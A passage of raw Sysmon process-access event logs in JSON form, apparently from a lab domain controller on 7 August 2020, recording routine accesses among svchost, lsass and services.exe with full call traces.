0x1440\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|c:\\windows\\system32\\ncbservice.dll+2f95|c:\\windows\\system32\\ncbservice.dll+2e77|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:57.302","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00104DCB0000}","SourceProcessId":"1308","SourceThreadId":"1412","SourceImage":"C:\\Windows\\System32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00103DC30000}","TargetProcessId":"1220","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1440","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|c:\\windows\\system32\\ncbservice.dll+2f95|c:\\windows\\system32\\ncbservice.dll+2e77|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2748,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:57.302\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00104DCB0000}\r\nSourceProcessId: 1308\r\nSourceThreadId: 1412\r\nSourceImage: C:\\Windows\\System32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nTargetProcessId: 1220\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1440\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|c:\\windows\\system32\\ncbservice.dll+2f95|c:\\windows\\system32\\ncbservice.dll+4609|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:57.302","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00104DCB0000}","SourceProcessId":"1308","SourceThreadId":"1412","SourceImage":"C:\\Windows\\System32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00103DC30000}","TargetProcessId":"1220","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1440","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|c:\\windows\\system32\\ncbservice.dll+2f95|c:\\windows\\system32\\ncbservice.dll+4609|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2749,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:57.396\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:57.396","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2750,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:57.396\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:57.396","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2751,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:57.396\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:57.396","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2752,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:57.521\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:57.521","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2753,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:57.521\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:57.521","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2754,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:57.521\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:57.521","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2755,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:57.521\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1108\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-405D-5F2D-0000-0010A9A90400}\r\nTargetProcessId: 2444\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: 